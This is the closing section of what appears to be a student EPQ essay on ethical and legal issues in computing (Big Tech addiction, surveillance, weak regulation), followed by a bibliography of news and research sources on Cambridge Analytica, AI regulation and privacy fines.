&lt;p&gt;Overall it is clear that Computer Science has many ethical and legal issues for the goal of gaining more money or control without any concerns for how it affects the end users. Big Tech companies knowingly sell and promote applications that harm people's mental health and create addiction for profit. Governments want more control and data over their people either by passing laws that force companies to share users' messages, locations and profiles or by investing in AI systems to predict people's movements and in some cases automated weapons. In many cases, the people whose job it is to regulate laws have direct conflicts of interest. When companies are allowed to regulate themself and the oversite is allowed to directly invest in these companies it becomes harmful to both parties to enforce the rules.&lt;/p&gt;

&lt;p&gt;Universally the people I interviewed agree more legislation is needed and that the legislation needs to be enforced fairly to all companies. At the moment large companies are allowed to operate in a grey area knowing that they will not be prosecuted for breaking the lawing. However small companies regularly have to close due to prosecution. There was also the Universal regard that new legislation is unlikely to ever be implemented effectively and instead, it is down the the consumers to make a difference by voting with their wallets. To stop funding the companies that harm them.&lt;/p&gt;

&lt;h1&gt;
  
  
  What’s Next
&lt;/h1&gt;

&lt;p&gt;I think this EPQ is a clear example that the people in this industry believe there are issues. For further investigation, I would interview more management roles and people in big tech companies. To do this, I would like to have to turn up to the offices as I had not gotten any reply from emails however I did not have enough time for this. I would have also liked to have spoken to people who regulate the tech industry such as MPs and Regulatory boards such as the BCS.&lt;/p&gt;

&lt;h1&gt;
  
  
  Bibliography
&lt;/h1&gt;

&lt;p&gt;Confessore, N. (2018). Cambridge Analytica and Facebook: The Scandal and the Fallout So Far. The New York Times. [online] 4 Apr. Available at: &lt;a href="https://www.nytimes.com/2018/04/04/us/politics/cambridge-analytica-scandal-fallout.html" rel="noopener noreferrer"&gt;https://www.nytimes.com/2018/04/04/us/politics/cambridge-analytica-scandal-fallout.html&lt;/a&gt; [Accessed 15 Oct. 2023].&lt;/p&gt;

&lt;p&gt;Graham-Harrison, E. and Cadwalladr, C. (2018). Revealed: 50 million Facebook profiles harvested for Cambridge Analytica in major data breach. [online] The Guardian. Available at: &lt;a href="https://www.theguardian.com/news/2018/mar/17/cambridge-analytica-facebook-influence-us-election" rel="noopener noreferrer"&gt;https://www.theguardian.com/news/2018/mar/17/cambridge-analytica-facebook-influence-us-election&lt;/a&gt; [Accessed 15 Oct. 2023].&lt;/p&gt;

&lt;p&gt;Hern, A. (2018). Cambridge Analytica: how did it turn clicks into votes? [online] the Guardian. Available at: &lt;a href="https://www.theguardian.com/news/2018/may/06/cambridge-analytica-how-turn-clicks-into-votes-christopher-wylie" rel="noopener noreferrer"&gt;https://www.theguardian.com/news/2018/may/06/cambridge-analytica-how-turn-clicks-into-votes-christopher-wylie&lt;/a&gt; [Accessed 15 Oct. 2023].&lt;/p&gt;

&lt;p&gt;Schleffer, G. and Miller, B. (2021). The Political Effects of Social Media Platforms on Different Regime Types. [online] Texas National Security Review. Available at: &lt;a href="https://tnsr.org/2021/07/the-political-effects-of-social-media-platforms-on-different-regime-types/" rel="noopener noreferrer"&gt;https://tnsr.org/2021/07/the-political-effects-of-social-media-platforms-on-different-regime-types/&lt;/a&gt; [Accessed 8 Oct. 2023].&lt;/p&gt;

&lt;p&gt;Wike, R., Silver, L., Fetterolf, J., Huang, C., Austin, S., Clancy, L. and Gubbala, S. (2022). Social Media Seen as Mostly Good for Democracy across Many Nations, but U.S. Is a Major Outlier. [online] Pew Research Center’s Global Attitudes Project. Available at: &lt;a href="https://www.pewresearch.org/global/2022/12/06/social-media-seen-as-mostly-good-for-democracy-across-many-nations-but-u-s-is-a-major-outlier/" rel="noopener noreferrer"&gt;https://www.pewresearch.org/global/2022/12/06/social-media-seen-as-mostly-good-for-democracy-across-many-nations-but-u-s-is-a-major-outlier/&lt;/a&gt; [Accessed 8 Oct. 2023].&lt;/p&gt;

&lt;p&gt;Gupta, M. and Sharma, A. (2021). Fear of Missing out: a Brief Overview of origin, Theoretical Underpinnings and Relationship with Mental Health. World Journal of Clinical Cases, [online] 9(19), pp.4881–4889. doi:&lt;a href="https://doi.org/10.12998/wjcc.v9.i19.4881" rel="noopener noreferrer"&gt;https://doi.org/10.12998/wjcc.v9.i19.4881&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Parlapiano, A., Playford, A., Kelly, K. and Uz, E. (2022). These 97 Members of Congress Reported Trades in Companies Influenced by Their Committees. The New York Times. [online] 13 Sep. Available at: &lt;a href="https://www.nytimes.com/interactive/2022/09/13/us/politics/congress-members-stock-trading-list.html" rel="noopener noreferrer"&gt;https://www.nytimes.com/interactive/2022/09/13/us/politics/congress-members-stock-trading-list.html&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;MIT Technology Review. (n.d.). A college kid created a fake, AI-generated blog. It reached #1 on Hacker News. [online] Available at: &lt;a href="https://www.technologyreview.com/2020/08/14/1006780/ai-gpt-3-fake-blog-reached-top-of-hacker-news/" rel="noopener noreferrer"&gt;https://www.technologyreview.com/2020/08/14/1006780/ai-gpt-3-fake-blog-reached-top-of-hacker-news/&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;‌&lt;/p&gt;

&lt;p&gt;NBC News. (n.d.). ChatGPT has thrown gasoline on fears of a U.S.-China arms race on AI [online] Available at: &lt;a href="https://www.nbcnews.com/tech/innovation/chatgpt-intensified-fears-us-china-ai-arms-race-rcna71804" rel="noopener noreferrer"&gt;https://www.nbcnews.com/tech/innovation/chatgpt-intensified-fears-us-china-ai-arms-race-rcna71804&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;LLP, HAK (2023). CNIL Fines Apple 8 Million Euros Over Personalised Ads. [online] Privacy &amp;amp; Information Security Law Blog. Available at: &lt;a href="https://www.huntonprivacyblog.com/2023/01/06/cnil-fines-apple-8-million-euros-over-personalized-ads/" rel="noopener noreferrer"&gt;https://www.huntonprivacyblog.com/2023/01/06/cnil-fines-apple-8-million-euros-over-personalized-ads/&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Pew Research Center (2022). Social Media and News Fact Sheet. [online] Pew Research Center’s Journalism Project. Available at: &lt;a href="https://www.pewresearch.org/journalism/fact-sheet/social-media-and-news-fact-sheet/" rel="noopener noreferrer"&gt;https://www.pewresearch.org/journalism/fact-sheet/social-media-and-news-fact-sheet/&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Schiff, A. (2023). Meta And Apple Face Fines And Privacy Headwinds In Europe. [online] AdExchanger. Available at: &lt;a href="https://www.adexchanger.com/privacy/meta-and-apple-face-fines-and-privacy-headwinds-in-europe/" rel="noopener noreferrer"&gt;https://www.adexchanger.com/privacy/meta-and-apple-face-fines-and-privacy-headwinds-in-europe/&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;‌Wikipedia Contributors (2019). Cambridge Analytica. [online] Wikipedia. Available at: &lt;a href="https://en.wikipedia.org/wiki/Cambridge_Analytica" rel="noopener noreferrer"&gt;https://en.wikipedia.org/wiki/Cambridge_Analytica&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Pegoraro, R. (n.d.). The Real Problem Wasn’t Cambridge Analytica, But The Data Brokers That Outlived It. [online] Forbes. Available at: &lt;a href="https://www.forbes.com/sites/robpegoraro/2020/10/08/the-real-problem-wasnt-cambridge-analytica-but-the-data-brokers-that-outlived-it/?sh=3b77c7ba26a4" rel="noopener noreferrer"&gt;https://www.forbes.com/sites/robpegoraro/2020/10/08/the-real-problem-wasnt-cambridge-analytica-but-the-data-brokers-that-outlived-it/?sh=3b77c7ba26a4&lt;/a&gt; [Accessed 10 Oct. 2023].&lt;/p&gt;

&lt;p&gt;‌Barthel, M., Mitchell, A. and Holcomb, J. (2016). Many Americans Believe Fake News Is Sowing Confusion.&lt;/p&gt;

&lt;p&gt;[online] Pew Research Center’s Journalism Project. Available at: &lt;a href="https://www.pewresearch.org/journalism/2016/12/15/many-americans-believe-fake-news-is-sowing-confusion/" rel="noopener noreferrer"&gt;https://www.pewresearch.org/journalism/2016/12/15/many-americans-believe-fake-news-is-sowing-confusion/&lt;/a&gt;. [Accessed 10 Oct. 2023]&lt;/p&gt;

&lt;p&gt;Jurkowitz, M. and Mitchell, A. (n.d.). Americans who relied most on Trump for COVID-19 news among least likely to be vaccinated.&lt;/p&gt;

&lt;p&gt;[online] Pew Research Center. Available at: &lt;a href="https://www.pewresearch.org/short-reads/2021/09/23/americans-who-relied-most-on-trump-for-covid-19-news-among-least-likely-to-be-vaccinated/" rel="noopener noreferrer"&gt;https://www.pewresearch.org/short-reads/2021/09/23/americans-who-relied-most-on-trump-for-covid-19-news-among-least-likely-to-be-vaccinated/&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;‌Fortune. (n.d.). Microsoft, Google, and OpenAI just became charter members of what may be the first true AI lobby. Up next: Lawmakers write the rules. [online] Available at: &lt;a href="https://fortune.com/2023/07/26/microsoft-google-openai-anthropic-lobby-frontier-model-forum-regulation/" rel="noopener noreferrer"&gt;https://fortune.com/2023/07/26/microsoft-google-openai-anthropic-lobby-frontier-model-forum-regulation/&lt;/a&gt; [Accessed 16 Oct. 2023].&lt;/p&gt;

&lt;p&gt;‌Andrew D Selbst, Julia Powles, Meaningful information and the right to explanation, &lt;em&gt;International Data Privacy Law&lt;/em&gt;, Volume 7, Issue 4, November 2017, Pages 233–242, &lt;a href="https://doi.org/10.1093/idpl/ipx022" rel="noopener noreferrer"&gt;https://doi.org/10.1093/idpl/ipx022&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Milmo, D. and editor, DMG technology (2023). Google, Microsoft, OpenAI and startup form body to regulate AI development. The Guardian. [online] 26 Jul. Available at: &lt;a href="https://www.theguardian.com/technology/2023/jul/26/google-microsoft-openai-anthropic-ai-frontier-model-forum" rel="noopener noreferrer"&gt;https://www.theguardian.com/technology/2023/jul/26/google-microsoft-openai-anthropic-ai-frontier-model-forum&lt;/a&gt;. [Accessed 16 Oct. 2023]&lt;/p&gt;

&lt;p&gt;Nicas, J., Zhong, R. and Wakabayashi, D. (2021). Censorship, Surveillance and Profits: A Hard Bargain for Apple in China. The New York Times. [online] 17 May. Available at: &lt;a href="https://www.nytimes.com/2021/05/17/technology/apple-china-censorship-data.html" rel="noopener noreferrer"&gt;https://www.nytimes.com/2021/05/17/technology/apple-china-censorship-data.html&lt;/a&gt;. [Accessed 16 Oct. 2023]&lt;/p&gt;

&lt;p&gt;‌Magnet, P. (2019). Competent Developers Are Underpaid — Here is How to Fix It. Medium. [online] 26 Sep. Available at: &lt;a href="https://tipsnguts.medium.com/competent-developers-are-underpaid-here-is-how-to-fix-it-95dea3c19b55" rel="noopener noreferrer"&gt;https://tipsnguts.medium.com/competent-developers-are-underpaid-here-is-how-to-fix-it-95dea3c19b55&lt;/a&gt; [Accessed 17 Oct. 2023].&lt;/p&gt;

&lt;p&gt;NBC News. (n.d.). ChatGPT has thrown gasoline on fears of a U.S.-China arms race on AI. [online] Available at: &lt;a href="https://www.nbcnews.com/tech/innovation/chatgpt-intensified-fears-us-china-ai-arms-race-rcna71804" rel="noopener noreferrer"&gt;https://www.nbcnews.com/tech/innovation/chatgpt-intensified-fears-us-china-ai-arms-race-rcna71804&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Vigliarolo, B. (n.d.). Israel sets robotic target-tracking turrets in the West Bank. [online] &lt;a href="http://www.theregister.com" rel="noopener noreferrer"&gt;www.theregister.com&lt;/a&gt;. Available at: &lt;a href="https://www.theregister.com/2022/11/18/israel_sets_robotic_targettracking_turrets/" rel="noopener noreferrer"&gt;https://www.theregister.com/2022/11/18/israel_sets_robotic_targettracking_turrets/&lt;/a&gt; [Accessed 18 Oct. 2023].&lt;/p&gt;

&lt;p&gt;‌ Kadam, T. (2022). Israel Deploys AI-Powered Remote-Controlled ‘Smart Shooter’ To Disperse Protesters In Palestine. [online] Latest Asian, Middle-East, EurAsian, Indian News. Available at: &lt;a href="https://www.eurasiantimes.com/israel-deploys-ai-powered-remote-controlled-smart-shooter/" rel="noopener noreferrer"&gt;https://www.eurasiantimes.com/israel-deploys-ai-powered-remote-controlled-smart-shooter/&lt;/a&gt; [Accessed 18 Oct. 2023].&lt;/p&gt;

&lt;p&gt;The right to privacy in the digital age. (2022). Available at: &lt;a href="https://www.ohchr.org/sites/default/files/documents/issues/digitalage/reportprivindigage2022/submissions/2022-09-06/CFI-RTP-UNESCO.pdf" rel="noopener noreferrer"&gt;https://www.ohchr.org/sites/default/files/documents/issues/digitalage/reportprivindigage2022/submissions/2022-09-06/CFI-RTP-UNESCO.pdf&lt;/a&gt; [Accessed 16 Apr. 2023].&lt;/p&gt;

&lt;p&gt;Hern, A. (2018). Cambridge Analytica: how did it turn clicks into votes? [online] the Guardian. Available at: &lt;a href="https://www.theguardian.com/news/2018/may/06/cambridge-analytica-how-turn-clicks-into-votes-christopher-wylie" rel="noopener noreferrer"&gt;https://www.theguardian.com/news/2018/may/06/cambridge-analytica-how-turn-clicks-into-votes-christopher-wylie&lt;/a&gt; [Accessed 15 Oct. 2023].&lt;/p&gt;

&lt;p&gt;McCabe, D. (2023). Microsoft Calls for A.I. Rules to Minimize the Technology’s Risks. The New York Times. [online] 25 May. Available at: &lt;a href="https://www.nytimes.com/2023/05/25/technology/microsoft-ai-rules-regulation.html" rel="noopener noreferrer"&gt;https://www.nytimes.com/2023/05/25/technology/microsoft-ai-rules-regulation.html&lt;/a&gt; [Accessed 19 Sep. 2023].&lt;/p&gt;

&lt;p&gt;Kayali, L. (2023). Apple fined €8M in French privacy case. [online] POLITICO. Available at: &lt;a href="https://www.politico.eu/article/apple-fined-e8-million-in-privacy-case/" rel="noopener noreferrer"&gt;https://www.politico.eu/article/apple-fined-e8-million-in-privacy-case/&lt;/a&gt; [Accessed Sep. 2023].&lt;/p&gt;

&lt;p&gt;Schiff, A. (2023). Meta And Apple Face Fines And Privacy Headwinds In Europe. [online] AdExchanger. Available at: &lt;a href="https://www.adexchanger.com/privacy/meta-and-apple-face-fines-and-privacy-headwinds-in-europe/" rel="noopener noreferrer"&gt;https://www.adexchanger.com/privacy/meta-and-apple-face-fines-and-privacy-headwinds-in-europe/&lt;/a&gt; [Accessed 10 Sep. 2023].&lt;/p&gt;

&lt;p&gt;Radauskas , G. (2022). UK’s Online Safety Bill says tech bosses could face jail time. [online] cybernews. Available at: &lt;a href="https://cybernews.com/news/uk-online-safety-bill-says-tech-bosses-could-be-jailed/" rel="noopener noreferrer"&gt;https://cybernews.com/news/uk-online-safety-bill-says-tech-bosses-could-be-jailed/&lt;/a&gt; [Accessed 18 Apr. 2023].&lt;/p&gt;

&lt;p&gt;McCallum , S. and Vallance, C. (2023). WhatsApp and other messaging apps oppose ‘surveillance’. BBC News. [online] 18 Apr. Available at: &lt;a href="https://www.bbc.co.uk/news/technology-65301510" rel="noopener noreferrer"&gt;https://www.bbc.co.uk/news/technology-65301510&lt;/a&gt; [Accessed 10 Apr. 20203].&lt;/p&gt;

</description>
      <category>ethics</category>
      <category>computerscience</category>
      <category>ai</category>
    </item>
  </channel>
</rss>
